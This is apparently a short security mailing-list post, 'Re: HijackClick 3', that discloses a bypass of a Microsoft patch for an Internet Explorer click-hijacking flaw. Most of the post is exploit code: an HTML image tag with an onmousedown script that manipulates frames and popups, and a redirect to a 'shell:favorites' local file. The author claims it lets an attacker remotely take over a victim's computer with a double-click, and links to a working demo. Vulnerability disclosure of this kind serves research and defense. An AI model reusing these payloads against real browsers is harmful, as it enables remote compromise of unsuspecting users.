Re: HijackClick 3

["http-equiv () excite com" <1 () malware com>]

<!-- 

Microsoft just disabled those functions from
being called when the mouse button is down and called it 
patched. No more hijackclick,
right?

Wrong. 

-->

This is absolutely fantastic Paul, with a patented double-click 
of the mouse we can remotely take over the target's computer:

Just substitute as follows:

1. <img src="greyhat.html" id=anch 
onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height=
2000;parent.pop.show(1,1,1,1);parent.setTimeout('showalert
()',3000);" style="width=168px;height=152px;background-image:url
('youlickit.gif');cursor:hand" title="click me!"></a>

2. location="shell:favorites\\greyhat[1].htm"

Someone was querying the other day whether shell in Internet 
Explorer poses a problem [despite repeated demonstrations]. 
Pah ! Probably not.

Quick and Dirty Working Demo:

http://www.malware.com/paul.html



-- 
http://www.malware.com